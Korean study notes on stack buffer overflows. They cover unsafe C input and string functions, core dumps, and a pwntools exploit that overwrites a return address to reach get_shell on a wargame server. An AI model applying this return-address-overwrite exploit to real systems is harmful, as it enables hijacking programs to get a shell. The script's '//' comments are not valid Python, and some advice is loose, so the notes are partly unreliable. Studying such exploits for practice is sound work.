전자 : 스택 영역이 너무 많이 확장되어 발생하는 버그
후자 : 스택에 위치한 버퍼의 크기보다 많은 데이터가 입력되어 발생하는 버그
버퍼 : 데이터가 목적지로 이동되기 전에 보관되는 임시 저장소
scanf("%s", buf)
%s 는 문자열을 입력 받을때 사용
- 입력의 길이 제한하지 않는다 (공백문자 : 띄어쓰기, 탭, 개행 문자 등) 올때 까지 계속 입력받음)
- %s 절대 사용 금지 => "%[n]s" 형태로 사용할 것!!
이외에도 취약한 것들 : 버퍼를 다루지만, 길이를 입력하지 않는 함수들
strcpy, strcat, sprntf
- 보완 => 버퍼의 크기를 같이 입력하는 것
- strncpy, strncat, snprintf, fgets, memcpy emdZ
Index-Out-Of-Bound(OOB) : 참조하려는 인덱스 값이 배열의 크기보다 커지는 현상
Segmentation fault : 프로그램이 잘못된 메모리 주소에 접근했다는 의미
해당에러 발생후 "/var/lib/apport/coredump" 경로에 코어 파일 생성
- 생성되지 않은경우 해당명령어 실행
$ ulimit -c unlimited
gdb 실행 후 -> print get_shell
#! /usr/bin/python3
from pwn import *
p = remote('host3.dreamhack.games', 21657)
elf = ELF('./rao')
get_shell = elf.symbols['get_shell']
payload = b'A'*0x30 //쓰레기값
payload += b'B'*0x8 //쓰레기값
payload += p64(get_shell) //return address 삽입(little endian으로)
p.sendline(payload)
p.interactive() //셸 획득후 셸에서 command 입력